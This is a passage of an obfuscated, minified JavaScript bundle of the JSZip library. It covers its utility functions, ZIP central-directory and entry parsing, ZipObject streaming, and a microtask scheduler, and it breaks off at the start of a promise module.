_0x5a4ee5['Utf8EncodeWorker'] = _0x28bbf1; }, { './nodejsUtils': 0xe, './stream/GenericWorker': 0x1c, './support': 0x1e, './utils': 0x20 }], 0x20: [function (_0x573eed, _0x385164, _0x2c6eef) { 'use strict'; var _0xf2ddf0 = _0x573eed('./support'), _0x51044a = _0x573eed('./base64'), _0x1444ea = _0x573eed('./nodejsUtils'), _0x9adbc = _0x573eed('./external'); function _0x130d24(_0x2e45a7) { return _0x2e45a7; } function _0x42f960(_0xb2c4b5, _0x182603) { for (var _0x49368c = 0x0; _0x49368c < _0xb2c4b5['length']; ++_0x49368c)_0x182603[_0x49368c] = 0xff & _0xb2c4b5['charCodeAt'](_0x49368c); return _0x182603; } _0x573eed('setimmediate'), _0x2c6eef['newBlob'] = function (_0x2e7b40, _0x33f2d0) { _0x2c6eef['checkSupport']('blob'); try { return new Blob([_0x2e7b40], { 'type': _0x33f2d0 }); } catch (_0x1e3e2e) { try { var _0x195d9d = new (self['BlobBuilder'] || self['WebKitBlobBuilder'] || self['MozBlobBuilder'] || self['MSBlobBuilder'])(); return _0x195d9d['append'](_0x2e7b40), _0x195d9d['getBlob'](_0x33f2d0); } catch (_0x53c083) { throw new Error('Bug\x20:\x20can\x27t\x20construct\x20the\x20Blob.'); } } }; var _0xe5c72 = { 'stringifyByChunk': function (_0x12d554, _0x76ad9f, _0x3be9dd) { var _0x3e2512 = [], _0x1b59f4 = 0x0, _0x1d8bcd = _0x12d554['length']; if (_0x1d8bcd <= _0x3be9dd) return String['fromCharCode']['apply'](null, _0x12d554); for (; _0x1b59f4 < _0x1d8bcd;)'array' === _0x76ad9f || 'nodebuffer' === _0x76ad9f ? _0x3e2512['push'](String['fromCharCode']['apply'](null, _0x12d554['slice'](_0x1b59f4, Math['min'](_0x1b59f4 + _0x3be9dd, _0x1d8bcd)))) : _0x3e2512['push'](String['fromCharCode']['apply'](null, _0x12d554['subarray'](_0x1b59f4, Math['min'](_0x1b59f4 + _0x3be9dd, _0x1d8bcd)))), _0x1b59f4 += _0x3be9dd; return _0x3e2512['join'](''); }, 'stringifyByChar': function (_0x50b870) { for (var _0x5f0c4d = '', _0x2f6304 = 0x0; _0x2f6304 < _0x50b870['length']; _0x2f6304++)_0x5f0c4d += String['fromCharCode'](_0x50b870[_0x2f6304]); return _0x5f0c4d; }, 'applyCanBeUsed': { 'uint8array': (function () { try { return _0xf2ddf0['uint8array'] && 0x1 === String['fromCharCode']['apply'](null, new Uint8Array(0x1))['length']; } catch (_0x1d27fd) { return !0x1; } }()), 'nodebuffer': (function () { try { return _0xf2ddf0['nodebuffer'] && 0x1 === String['fromCharCode']['apply'](null, _0x1444ea['allocBuffer'](0x1))['length']; } catch (_0x4349da) { return !0x1; } }()) } }; function _0x4e7aed(_0x1111a2) { var _0x5c70ec = 0x10000, _0x506f21 = _0x2c6eef['getTypeOf'](_0x1111a2), _0x1e1f89 = !0x0; if ('uint8array' === _0x506f21 ? _0x1e1f89 = _0xe5c72['applyCanBeUsed']['uint8array'] : 'nodebuffer' === _0x506f21 && (_0x1e1f89 = _0xe5c72['applyCanBeUsed']['nodebuffer']), _0x1e1f89) { for (; 0x1 < _0x5c70ec;)try { return _0xe5c72['stringifyByChunk'](_0x1111a2, _0x506f21, _0x5c70ec); } catch (_0x1fb2d1) { _0x5c70ec = Math['floor'](_0x5c70ec / 0x2); } } return _0xe5c72['stringifyByChar'](_0x1111a2); } function _0x3dd4d7(_0xb6ece1, _0x4a2f6c) { for (var _0x84510f = 0x0; _0x84510f < _0xb6ece1['length']; _0x84510f++)_0x4a2f6c[_0x84510f] = _0xb6ece1[_0x84510f]; return _0x4a2f6c; } _0x2c6eef['applyFromCharCode'] = _0x4e7aed; var _0x1a39ba = {}; _0x1a39ba['string'] = { 'string': _0x130d24, 'array': function (_0x576777) { return _0x42f960(_0x576777, new Array(_0x576777['length'])); }, 'arraybuffer': function (_0x5891c2) { return _0x1a39ba['string']['uint8array'](_0x5891c2)['buffer']; }, 'uint8array': function (_0x308c33) { return _0x42f960(_0x308c33, new Uint8Array(_0x308c33['length'])); }, 'nodebuffer': function (_0xe9ebb3) { return _0x42f960(_0xe9ebb3, _0x1444ea['allocBuffer'](_0xe9ebb3['length'])); } }, _0x1a39ba['array'] = { 'string': _0x4e7aed, 'array': _0x130d24, 'arraybuffer': function (_0xc89e12) { return new Uint8Array(_0xc89e12)['buffer']; }, 'uint8array': function (_0x3d7848) { return new Uint8Array(_0x3d7848); }, 'nodebuffer': function (_0x2a24b5) { return _0x1444ea['newBufferFrom'](_0x2a24b5); } }, _0x1a39ba['arraybuffer'] = { 'string': function (_0x16010c) { return _0x4e7aed(new Uint8Array(_0x16010c)); }, 'array': function (_0x358f24) { return _0x3dd4d7(new Uint8Array(_0x358f24), new Array(_0x358f24['byteLength'])); }, 'arraybuffer': _0x130d24, 'uint8array': function (_0x32fcf0) { return new Uint8Array(_0x32fcf0); }, 'nodebuffer': function (_0x165b22) { return _0x1444ea['newBufferFrom'](new Uint8Array(_0x165b22)); } }, _0x1a39ba['uint8array'] = { 'string': _0x4e7aed, 'array': function (_0x4fdebf) { return _0x3dd4d7(_0x4fdebf, new Array(_0x4fdebf['length'])); }, 'arraybuffer': function (_0x5bba2d) { return _0x5bba2d['buffer']; }, 'uint8array': _0x130d24, 'nodebuffer': function (_0x35b4f5) { return _0x1444ea['newBufferFrom'](_0x35b4f5); } }, _0x1a39ba['nodebuffer'] = { 'string': _0x4e7aed, 'array': function (_0xb236f2) { return _0x3dd4d7(_0xb236f2, new Array(_0xb236f2['length'])); }, 'arraybuffer': function (_0x46347e) { return _0x1a39ba['nodebuffer']['uint8array'](_0x46347e)['buffer']; }, 'uint8array': function (_0x19bac1) { return _0x3dd4d7(_0x19bac1, new Uint8Array(_0x19bac1['length'])); }, 'nodebuffer': _0x130d24 }, _0x2c6eef['transformTo'] = function (_0x17ae63, _0x178855) { if (_0x178855 = _0x178855 || '', !_0x17ae63) return _0x178855; _0x2c6eef['checkSupport'](_0x17ae63); var _0x24f4f7 = _0x2c6eef['getTypeOf'](_0x178855); return _0x1a39ba[_0x24f4f7][_0x17ae63](_0x178855); }, _0x2c6eef['resolve'] = function (_0x221dbe) { for (var _0xbf2657 = _0x221dbe['split']('/'), _0x5c9edf = [], _0x5b7602 = 0x0; _0x5b7602 < _0xbf2657['length']; _0x5b7602++) { var _0x149600 = _0xbf2657[_0x5b7602]; '.' === _0x149600 || '' === _0x149600 && 0x0 !== _0x5b7602 && _0x5b7602 !== _0xbf2657['length'] - 0x1 || ('..' === _0x149600 ? _0x5c9edf['pop']() : _0x5c9edf['push'](_0x149600)); } return _0x5c9edf['join']('/'); }, _0x2c6eef['getTypeOf'] = function (_0xbe6e3) { return 'string' == typeof _0xbe6e3 ? 'string' : '[object\x20Array]' === Object['prototype']['toString']['call'](_0xbe6e3) ? 'array' : _0xf2ddf0['nodebuffer'] && _0x1444ea['isBuffer'](_0xbe6e3) ? 'nodebuffer' : _0xf2ddf0['uint8array'] && _0xbe6e3 instanceof Uint8Array ? 'uint8array' : _0xf2ddf0['arraybuffer'] && _0xbe6e3 instanceof ArrayBuffer ? 'arraybuffer' : void 0x0; }, _0x2c6eef['checkSupport'] = function (_0x346b1f) { if (!_0xf2ddf0[_0x346b1f['toLowerCase']()]) throw new Error(_0x346b1f + '\x20is\x20not\x20supported\x20by\x20this\x20platform'); }, _0x2c6eef['MAX_VALUE_16BITS'] = 0xffff, _0x2c6eef['MAX_VALUE_32BITS'] = -0x1, _0x2c6eef['pretty'] = function (_0x3b9f60) { var _0xd05f0c, _0x516fcc, _0x464303 = ''; for (_0x516fcc = 0x0; _0x516fcc < (_0x3b9f60 || '')['length']; _0x516fcc++)_0x464303 += '\x5cx' + ((_0xd05f0c = _0x3b9f60['charCodeAt'](_0x516fcc)) < 0x10 ? '0' : '') + _0xd05f0c['toString'](0x10)['toUpperCase'](); return _0x464303; }, _0x2c6eef['delay'] = function (_0x4991b0, _0x13a49e, _0x461d47) { setImmediate(function () { _0x4991b0['apply'](_0x461d47 || null, _0x13a49e || []); }); }, _0x2c6eef['inherits'] = function (_0x18065f, _0x180a8e) { function _0x3d4ec1() { } _0x3d4ec1['prototype'] = _0x180a8e['prototype'], _0x18065f['prototype'] = new _0x3d4ec1(); }, _0x2c6eef['extend'] = function () { var _0x55eee0, _0x4f12d2, _0x224c98 = {}; for (_0x55eee0 = 0x0; _0x55eee0 < arguments['length']; _0x55eee0++)for (_0x4f12d2 in arguments[_0x55eee0]) Object['prototype']['hasOwnProperty']['call'](arguments[_0x55eee0], _0x4f12d2) && void 0x0 === _0x224c98[_0x4f12d2] && (_0x224c98[_0x4f12d2] = arguments[_0x55eee0][_0x4f12d2]); return _0x224c98; }, _0x2c6eef['prepareContent'] = function (_0x3bbb64, _0x43fb38, _0x3dcef6, _0x1c7725, _0x33b71e) { return _0x9adbc['Promise']['resolve'](_0x43fb38)['then'](function (_0x501f17) { return _0xf2ddf0['blob'] && (_0x501f17 instanceof Blob || -0x1 !== ['[object\x20File]', '[object\x20Blob]']['indexOf'](Object['prototype']['toString']['call'](_0x501f17))) && 'undefined' != typeof FileReader ? new _0x9adbc['Promise'](function (_0x1ab642, _0x592838) { var _0x559639 = new FileReader(); _0x559639['onload'] = function (_0x4956cd) { _0x1ab642(_0x4956cd['target']['result']); }, _0x559639['onerror'] = function (_0xb1fa87) { _0x592838(_0xb1fa87['target']['error']); }, _0x559639['readAsArrayBuffer'](_0x501f17); }) : _0x501f17; })['then'](function (_0x282025) { var _0x96742e = _0x2c6eef['getTypeOf'](_0x282025); return _0x96742e ? ('arraybuffer' === _0x96742e ? _0x282025 = _0x2c6eef['transformTo']('uint8array', _0x282025) : 'string' === _0x96742e && (_0x33b71e ? _0x282025 = _0x51044a['decode'](_0x282025) : _0x3dcef6 && !0x0 !== _0x1c7725 && (_0x282025 = function (_0x405b58) { return _0x42f960(_0x405b58, _0xf2ddf0['uint8array'] ? new Uint8Array(_0x405b58['length']) : new Array(_0x405b58['length'])); }(_0x282025))), _0x282025) : _0x9adbc['Promise']['reject'](new Error('Can\x27t\x20read\x20the\x20data\x20of\x20\x27' + _0x3bbb64 + '\x27.\x20Is\x20it\x20in\x20a\x20supported\x20JavaScript\x20type\x20(String,\x20Blob,\x20ArrayBuffer,\x20etc)\x20?')); }); }; }, { './base64': 0x1, './external': 0x6, './nodejsUtils': 0xe, './support': 0x1e, 'setimmediate': 0x36 }], 0x21: [function (_0x1ecd37, _0x4c997f, _0x53a733) { 'use strict'; var _0x412e46 = _0x1ecd37('./reader/readerFor'), _0xaa88cc = _0x1ecd37('./utils'), _0x1c4a50 = _0x1ecd37('./signature'), _0x2dda4d = _0x1ecd37('./zipEntry'), _0x1d8d12 = _0x1ecd37('./support'); function _0x56d790(_0x5b788f) { this['files'] = [], this['loadOptions'] = _0x5b788f; } _0x56d790['prototype'] = { 'checkSignature': function (_0x190942) { if (!this['reader']['readAndCheckSignature'](_0x190942)) { this['reader']['index'] -= 0x4; var _0x3d4102 = this['reader']['readString'](0x4); throw new Error('Corrupted\x20zip\x20or\x20bug:\x20unexpected\x20signature\x20(' + _0xaa88cc['pretty'](_0x3d4102) + ',\x20expected\x20' + _0xaa88cc['pretty'](_0x190942) + ')'); } }, 'isSignature': function (_0x491d31, _0x50f03f) { var _0x5b3075 = this['reader']['index']; this['reader']['setIndex'](_0x491d31); var _0x52882d = this['reader']['readString'](0x4) === _0x50f03f; return this['reader']['setIndex'](_0x5b3075), _0x52882d; }, 'readBlockEndOfCentral': function () { this['diskNumber'] = this['reader']['readInt'](0x2), this['diskWithCentralDirStart'] = this['reader']['readInt'](0x2), this['centralDirRecordsOnThisDisk'] = this['reader']['readInt'](0x2), this['centralDirRecords'] = this['reader']['readInt'](0x2), this['centralDirSize'] = this['reader']['readInt'](0x4), this['centralDirOffset'] = this['reader']['readInt'](0x4), this['zipCommentLength'] = this['reader']['readInt'](0x2); var _0x48e001 = this['reader']['readData'](this['zipCommentLength']), _0x29cf6b = _0x1d8d12['uint8array'] ? 'uint8array' : 'array', _0x532fad = _0xaa88cc['transformTo'](_0x29cf6b, _0x48e001); this['zipComment'] = this['loadOptions']['decodeFileName'](_0x532fad); }, 'readBlockZip64EndOfCentral': function () { this['zip64EndOfCentralSize'] = this['reader']['readInt'](0x8), this['reader']['skip'](0x4), this['diskNumber'] = this['reader']['readInt'](0x4), this['diskWithCentralDirStart'] = this['reader']['readInt'](0x4), this['centralDirRecordsOnThisDisk'] = this['reader']['readInt'](0x8), this['centralDirRecords'] = this['reader']['readInt'](0x8), this['centralDirSize'] = this['reader']['readInt'](0x8), this['centralDirOffset'] = this['reader']['readInt'](0x8), this['zip64ExtensibleData'] = {}; for (var _0x3213e5, _0x203ed1, _0x215a71, _0x2ce3e3 = this['zip64EndOfCentralSize'] - 0x2c; 0x0 < _0x2ce3e3;)_0x3213e5 = this['reader']['readInt'](0x2), _0x203ed1 = this['reader']['readInt'](0x4), _0x215a71 = this['reader']['readData'](_0x203ed1), this['zip64ExtensibleData'][_0x3213e5] = { 'id': _0x3213e5, 'length': _0x203ed1, 'value': _0x215a71 }; }, 'readBlockZip64EndOfCentralLocator': function () { if (this['diskWithZip64CentralDirStart'] = this['reader']['readInt'](0x4), this['relativeOffsetEndOfZip64CentralDir'] = this['reader']['readInt'](0x8), this['disksCount'] = this['reader']['readInt'](0x4), 0x1 < this['disksCount']) throw new Error('Multi-volumes\x20zip\x20are\x20not\x20supported'); }, 'readLocalFiles': function () { var _0x268900, _0x4c2659; for (_0x268900 = 0x0; _0x268900 < this['files']['length']; _0x268900++)_0x4c2659 = this['files'][_0x268900], this['reader']['setIndex'](_0x4c2659['localHeaderOffset']), this['checkSignature'](_0x1c4a50['LOCAL_FILE_HEADER']), _0x4c2659['readLocalPart'](this['reader']), _0x4c2659['handleUTF8'](), _0x4c2659['processAttributes'](); }, 'readCentralDir': function () { var _0x2e3628; for (this['reader']['setIndex'](this['centralDirOffset']); this['reader']['readAndCheckSignature'](_0x1c4a50['CENTRAL_FILE_HEADER']);)(_0x2e3628 = new _0x2dda4d({ 'zip64': this['zip64'] }, this['loadOptions']))['readCentralPart'](this['reader']), this['files']['push'](_0x2e3628); if (this['centralDirRecords'] !== this['files']['length'] && 0x0 !== this['centralDirRecords'] && 0x0 === this['files']['length']) throw new Error('Corrupted\x20zip\x20or\x20bug:\x20expected\x20' + this['centralDirRecords'] + '\x20records\x20in\x20central\x20dir,\x20got\x20' + this['files']['length']); }, 'readEndOfCentral': function () { var _0x67f261 = this['reader']['lastIndexOfSignature'](_0x1c4a50['CENTRAL_DIRECTORY_END']); if (_0x67f261 < 0x0) throw this['isSignature'](0x0, _0x1c4a50['LOCAL_FILE_HEADER']) ? new Error('Corrupted\x20zip:\x20can\x27t\x20find\x20end\x20of\x20central\x20directory') : new Error('Can\x27t\x20find\x20end\x20of\x20central\x20directory\x20:\x20is\x20this\x20a\x20zip\x20file\x20?\x20If\x20it\x20is,\x20see\x20https://stuk.github.io/jszip/documentation/howto/read_zip.html'); this['reader']['setIndex'](_0x67f261); var _0x45f11c = _0x67f261; if (this['checkSignature'](_0x1c4a50['CENTRAL_DIRECTORY_END']), this['readBlockEndOfCentral'](), this['diskNumber'] === _0xaa88cc['MAX_VALUE_16BITS'] || this['diskWithCentralDirStart'] === _0xaa88cc['MAX_VALUE_16BITS'] || this['centralDirRecordsOnThisDisk'] === _0xaa88cc['MAX_VALUE_16BITS'] || this['centralDirRecords'] === _0xaa88cc['MAX_VALUE_16BITS'] || this['centralDirSize'] === _0xaa88cc['MAX_VALUE_32BITS'] || this['centralDirOffset'] === _0xaa88cc['MAX_VALUE_32BITS']) { if (this['zip64'] = !0x0, (_0x67f261 = this['reader']['lastIndexOfSignature'](_0x1c4a50['ZIP64_CENTRAL_DIRECTORY_LOCATOR'])) < 0x0) throw new Error('Corrupted\x20zip:\x20can\x27t\x20find\x20the\x20ZIP64\x20end\x20of\x20central\x20directory\x20locator'); if (this['reader']['setIndex'](_0x67f261), this['checkSignature'](_0x1c4a50['ZIP64_CENTRAL_DIRECTORY_LOCATOR']), this['readBlockZip64EndOfCentralLocator'](), !this['isSignature'](this['relativeOffsetEndOfZip64CentralDir'], _0x1c4a50['ZIP64_CENTRAL_DIRECTORY_END']) && (this['relativeOffsetEndOfZip64CentralDir'] = this['reader']['lastIndexOfSignature'](_0x1c4a50['ZIP64_CENTRAL_DIRECTORY_END']), this['relativeOffsetEndOfZip64CentralDir'] < 0x0)) throw new Error('Corrupted\x20zip:\x20can\x27t\x20find\x20the\x20ZIP64\x20end\x20of\x20central\x20directory'); this['reader']['setIndex'](this['relativeOffsetEndOfZip64CentralDir']), this['checkSignature'](_0x1c4a50['ZIP64_CENTRAL_DIRECTORY_END']), this['readBlockZip64EndOfCentral'](); } var _0x54aa16 = this['centralDirOffset'] + this['centralDirSize']; this['zip64'] && (_0x54aa16 += 0x14, _0x54aa16 += 0xc + this['zip64EndOfCentralSize']); var _0x23ef27 = _0x45f11c - _0x54aa16; if (0x0 < _0x23ef27) this['isSignature'](_0x45f11c, _0x1c4a50['CENTRAL_FILE_HEADER']) || (this['reader']['zero'] = _0x23ef27); else { if (_0x23ef27 < 0x0) throw new Error('Corrupted\x20zip:\x20missing\x20' + Math['abs'](_0x23ef27) + '\x20bytes.'); } }, 'prepareReader': function (_0x5ce07c) { this['reader'] = _0x412e46(_0x5ce07c); }, 'load': function (_0x5d7f61) { this['prepareReader'](_0x5d7f61), this['readEndOfCentral'](), this['readCentralDir'](), this['readLocalFiles'](); } }, _0x4c997f['exports'] = _0x56d790; }, { './reader/readerFor': 0x16, './signature': 0x17, './support': 0x1e, './utils': 0x20, './zipEntry': 0x22 }], 0x22: [function (_0x49c121, _0x24a9f3, _0xe5f30a) { 'use strict'; var _0x5984fd = _0x49c121('./reader/readerFor'), _0x3866b2 = _0x49c121('./utils'), _0x3455fd = _0x49c121('./compressedObject'), _0x498730 = _0x49c121('./crc32'), _0x23534f = _0x49c121('./utf8'), _0x5cfa23 = _0x49c121('./compressions'), _0x43a3d9 = _0x49c121('./support'); function _0x5dfdb1(_0x5438a7, _0x3918aa) { this['options'] = _0x5438a7, this['loadOptions'] = _0x3918aa; } _0x5dfdb1['prototype'] = { 'isEncrypted': function () { return 0x1 == (0x1 & this['bitFlag']); }, 'useUTF8': function () { return 0x800 == (0x800 & this['bitFlag']); }, 'readLocalPart': function (_0x3714ce) { var _0x1344e1, _0x1ec525; if (_0x3714ce['skip'](0x16), this['fileNameLength'] = _0x3714ce['readInt'](0x2), _0x1ec525 = _0x3714ce['readInt'](0x2), this['fileName'] = _0x3714ce['readData'](this['fileNameLength']), _0x3714ce['skip'](_0x1ec525), -0x1 === this['compressedSize'] || -0x1 === this['uncompressedSize']) throw new Error('Bug\x20or\x20corrupted\x20zip\x20:\x20didn\x27t\x20get\x20enough\x20information\x20from\x20the\x20central\x20directory\x20(compressedSize\x20===\x20-1\x20||\x20uncompressedSize\x20===\x20-1)'); if (null === (_0x1344e1 = function (_0x2c053d) { for (var _0x7e93c2 in _0x5cfa23) if (Object['prototype']['hasOwnProperty']['call'](_0x5cfa23, _0x7e93c2) && _0x5cfa23[_0x7e93c2]['magic'] === _0x2c053d) return _0x5cfa23[_0x7e93c2]; return null; }(this['compressionMethod']))) throw new Error('Corrupted\x20zip\x20:\x20compression\x20' + _0x3866b2['pretty'](this['compressionMethod']) + '\x20unknown\x20(inner\x20file\x20:\x20' + _0x3866b2['transformTo']('string', this['fileName']) + ')'); this['decompressed'] = new _0x3455fd(this['compressedSize'], this['uncompressedSize'], this['crc32'], _0x1344e1, _0x3714ce['readData'](this['compressedSize'])); }, 'readCentralPart': function (_0x425aac) { this['versionMadeBy'] = _0x425aac['readInt'](0x2), _0x425aac['skip'](0x2), this['bitFlag'] = _0x425aac['readInt'](0x2), this['compressionMethod'] = _0x425aac['readString'](0x2), this['date'] = _0x425aac['readDate'](), this['crc32'] = _0x425aac['readInt'](0x4), this['compressedSize'] = _0x425aac['readInt'](0x4), this['uncompressedSize'] = _0x425aac['readInt'](0x4); var _0x27b1c9 = _0x425aac['readInt'](0x2); if (this['extraFieldsLength'] = _0x425aac['readInt'](0x2), this['fileCommentLength'] = _0x425aac['readInt'](0x2), this['diskNumberStart'] = _0x425aac['readInt'](0x2), this['internalFileAttributes'] = _0x425aac['readInt'](0x2), this['externalFileAttributes'] = _0x425aac['readInt'](0x4), this['localHeaderOffset'] = _0x425aac['readInt'](0x4), this['isEncrypted']()) throw new Error('Encrypted\x20zip\x20are\x20not\x20supported'); _0x425aac['skip'](_0x27b1c9), this['readExtraFields'](_0x425aac), this['parseZIP64ExtraField'](_0x425aac), this['fileComment'] = _0x425aac['readData'](this['fileCommentLength']); }, 'processAttributes': function () { this['unixPermissions'] = null, this['dosPermissions'] = null; var _0x5e2c70 = this['versionMadeBy'] >> 0x8; this['dir'] = !!(0x10 & this['externalFileAttributes']), 0x0 == _0x5e2c70 && (this['dosPermissions'] = 0x3f & this['externalFileAttributes']), 0x3 == _0x5e2c70 && (this['unixPermissions'] = this['externalFileAttributes'] >> 0x10 & 0xffff), this['dir'] || '/' !== this['fileNameStr']['slice'](-0x1) || (this['dir'] = !0x0); }, 'parseZIP64ExtraField': function () { if (this['extraFields'][0x1]) { var _0x1a05d0 = _0x5984fd(this['extraFields'][0x1]['value']); this['uncompressedSize'] === _0x3866b2['MAX_VALUE_32BITS'] && (this['uncompressedSize'] = _0x1a05d0['readInt'](0x8)), this['compressedSize'] === _0x3866b2['MAX_VALUE_32BITS'] && (this['compressedSize'] = _0x1a05d0['readInt'](0x8)), this['localHeaderOffset'] === _0x3866b2['MAX_VALUE_32BITS'] && (this['localHeaderOffset'] = _0x1a05d0['readInt'](0x8)), this['diskNumberStart'] === _0x3866b2['MAX_VALUE_32BITS'] && (this['diskNumberStart'] = _0x1a05d0['readInt'](0x4)); } }, 'readExtraFields': function (_0x4166a7) { var _0x473b88, _0x411555, _0xe357ac, _0x5ec537 = _0x4166a7['index'] + this['extraFieldsLength']; for (this['extraFields'] || (this['extraFields'] = {}); _0x4166a7['index'] + 0x4 < _0x5ec537;)_0x473b88 = _0x4166a7['readInt'](0x2), _0x411555 = _0x4166a7['readInt'](0x2), _0xe357ac = _0x4166a7['readData'](_0x411555), this['extraFields'][_0x473b88] = { 'id': _0x473b88, 'length': _0x411555, 'value': _0xe357ac }; _0x4166a7['setIndex'](_0x5ec537); }, 'handleUTF8': function () { var _0x294f25 = _0x43a3d9['uint8array'] ? 'uint8array' : 'array'; if (this['useUTF8']()) this['fileNameStr'] = _0x23534f['utf8decode'](this['fileName']), this['fileCommentStr'] = _0x23534f['utf8decode'](this['fileComment']); else { var _0x3d122b = this['findExtraFieldUnicodePath'](); if (null !== _0x3d122b) this['fileNameStr'] = _0x3d122b; else { var _0x310c73 = _0x3866b2['transformTo'](_0x294f25, this['fileName']); this['fileNameStr'] = this['loadOptions']['decodeFileName'](_0x310c73); } var _0x2cfa9e = this['findExtraFieldUnicodeComment'](); if (null !== _0x2cfa9e) this['fileCommentStr'] = _0x2cfa9e; else { var _0x4403dd = _0x3866b2['transformTo'](_0x294f25, this['fileComment']); this['fileCommentStr'] = this['loadOptions']['decodeFileName'](_0x4403dd); } } }, 'findExtraFieldUnicodePath': function () { var _0x3a3f91 = this['extraFields'][0x7075]; if (_0x3a3f91) { var _0x290c05 = _0x5984fd(_0x3a3f91['value']); return 0x1 !== _0x290c05['readInt'](0x1) || _0x498730(this['fileName']) !== _0x290c05['readInt'](0x4) ? null : _0x23534f['utf8decode'](_0x290c05['readData'](_0x3a3f91['length'] - 0x5)); } return null; }, 'findExtraFieldUnicodeComment': function () { var _0x5b49cc = this['extraFields'][0x6375]; if (_0x5b49cc) { var _0x7ceae7 = _0x5984fd(_0x5b49cc['value']); return 0x1 !== _0x7ceae7['readInt'](0x1) || _0x498730(this['fileComment']) !== _0x7ceae7['readInt'](0x4) ? null : _0x23534f['utf8decode'](_0x7ceae7['readData'](_0x5b49cc['length'] - 0x5)); } return null; } }, _0x24a9f3['exports'] = _0x5dfdb1; }, { './compressedObject': 0x2, './compressions': 0x3, './crc32': 0x4, './reader/readerFor': 0x16, './support': 0x1e, './utf8': 0x1f, './utils': 0x20 }], 0x23: [function (_0x15663f, _0x5bcd9d, _0x724539) { 'use strict'; function _0x2f9a97(_0x27ff29, _0xdca609, _0x256879) { this['name'] = _0x27ff29, this['dir'] = _0x256879['dir'], this['date'] = _0x256879['date'], this['comment'] = _0x256879['comment'], this['unixPermissions'] = _0x256879['unixPermissions'], this['dosPermissions'] = _0x256879['dosPermissions'], this['_data'] = _0xdca609, this['_dataBinary'] = _0x256879['binary'], this['options'] = { 'compression': _0x256879['compression'], 'compressionOptions': _0x256879['compressionOptions'] }; } var _0x38f07d = _0x15663f('./stream/StreamHelper'), _0x448dcd = _0x15663f('./stream/DataWorker'), _0x241021 = _0x15663f('./utf8'), _0x2817ff = _0x15663f('./compressedObject'), _0x3818ee = _0x15663f('./stream/GenericWorker'); _0x2f9a97['prototype'] = { 'internalStream': function (_0x3a9a87) { var _0x18d23f = null, _0x3f5995 = 'string'; try { if (!_0x3a9a87) throw new Error('No\x20output\x20type\x20specified.'); var _0x2f8810 = 'string' === (_0x3f5995 = _0x3a9a87['toLowerCase']()) || 'text' === _0x3f5995; 'binarystring' !== _0x3f5995 && 'text' !== _0x3f5995 || (_0x3f5995 = 'string'), _0x18d23f = this['_decompressWorker'](); var _0x22b6df = !this['_dataBinary']; _0x22b6df && !_0x2f8810 && (_0x18d23f = _0x18d23f['pipe'](new _0x241021['Utf8EncodeWorker']())), !_0x22b6df && _0x2f8810 && (_0x18d23f = _0x18d23f['pipe'](new _0x241021['Utf8DecodeWorker']())); } catch (_0x5831b4) { (_0x18d23f = new _0x3818ee('error'))['error'](_0x5831b4); } return new _0x38f07d(_0x18d23f, _0x3f5995, ''); }, 'async': function (_0x486bb3, _0x47a1dc) { return this['internalStream'](_0x486bb3)['accumulate'](_0x47a1dc); }, 'nodeStream': function (_0x53faf9, _0x2ca3f8) { return this['internalStream'](_0x53faf9 || 'nodebuffer')['toNodejsStream'](_0x2ca3f8); }, '_compressWorker': function (_0x5a31c9, _0x231565) { if (this['_data'] instanceof _0x2817ff && this['_data']['compression']['magic'] === _0x5a31c9['magic']) return this['_data']['getCompressedWorker'](); var _0x52fdd5 = this['_decompressWorker'](); return this['_dataBinary'] || (_0x52fdd5 = _0x52fdd5['pipe'](new _0x241021['Utf8EncodeWorker']())), _0x2817ff['createWorkerFrom'](_0x52fdd5, _0x5a31c9, _0x231565); }, '_decompressWorker': function () { return this['_data'] instanceof _0x2817ff ? this['_data']['getContentWorker']() : this['_data'] instanceof _0x3818ee ? this['_data'] : new _0x448dcd(this['_data']); } }; for (var _0x2e73d8 = ['asText', 'asBinary', 'asNodeBuffer', 'asUint8Array', 'asArrayBuffer'], _0x14e215 = function () { throw new Error('This\x20method\x20has\x20been\x20removed\x20in\x20JSZip\x203.0,\x20please\x20check\x20the\x20upgrade\x20guide.'); }, _0x188463 = 0x0; _0x188463 < _0x2e73d8['length']; _0x188463++)_0x2f9a97['prototype'][_0x2e73d8[_0x188463]] = _0x14e215; _0x5bcd9d['exports'] = _0x2f9a97; }, { './compressedObject': 0x2, './stream/DataWorker': 0x1b, './stream/GenericWorker': 0x1c, './stream/StreamHelper': 0x1d, './utf8': 0x1f }], 0x24: [function (_0x4ad24f, _0x1a76f4, _0x59723a) { (function (_0xdde017) { 'use strict'; var _0x222545, _0x3dc9e5, _0x3d79b8 = _0xdde017['MutationObserver'] || _0xdde017['WebKitMutationObserver']; if (_0x3d79b8) { var _0x2a02aa = 0x0, _0x102347 = new _0x3d79b8(_0x23bb01), _0x16c505 = _0xdde017['document']['createTextNode'](''); _0x102347['observe'](_0x16c505, { 'characterData': !0x0 }), _0x222545 = function () { _0x16c505['data'] = _0x2a02aa = ++_0x2a02aa % 0x2; }; } else { if (_0xdde017['setImmediate'] || void 0x0 === _0xdde017['MessageChannel']) _0x222545 = 'document' in _0xdde017 && 'onreadystatechange' in _0xdde017['document']['createElement']('script') ? function () { var _0x62d3c3 = _0xdde017['document']['createElement']('script'); _0x62d3c3['onreadystatechange'] = function () { _0x23bb01(), _0x62d3c3['onreadystatechange'] = null, _0x62d3c3['parentNode']['removeChild'](_0x62d3c3), _0x62d3c3 = null; }, _0xdde017['document']['documentElement']['appendChild'](_0x62d3c3); } : function () { setTimeout(_0x23bb01, 0x0); }; else { var _0x51302e = new _0xdde017['MessageChannel'](); _0x51302e['port1']['onmessage'] = _0x23bb01, _0x222545 = function () { _0x51302e['port2']['postMessage'](0x0); }; } } var _0x2a39c3 = []; function _0x23bb01() { var _0x5b648e, _0x2854f9; _0x3dc9e5 = !0x0; for (var _0x1a995c = _0x2a39c3['length']; _0x1a995c;) { for (_0x2854f9 = _0x2a39c3, _0x2a39c3 = [], _0x5b648e = -0x1; ++_0x5b648e < _0x1a995c;)_0x2854f9[_0x5b648e](); _0x1a995c = _0x2a39c3['length']; } _0x3dc9e5 = !0x1; } _0x1a76f4['exports'] = function (_0x5ab0fc) { 0x1 !== _0x2a39c3['push'](_0x5ab0fc) || _0x3dc9e5 || _0x222545(); }; }['call'](this, void 0x0 !== _0x512b2f['g'] ? _0x512b2f['g'] : 'undefined' != typeof self ? self : 'undefined' != typeof window ? window : {})); }, {}], 0x25: [function (_0x5c22a7, _0x31e36a, _0x174e5f) { 'use strict'; var _0xe9b1f9 = _0x5c22a7('immediate'); function _0xe416bb() { } var _0x24b2bb = {}, _0x2e4b5c = ['REJECTED'], _0x79d31a = ['FULFILLED'], 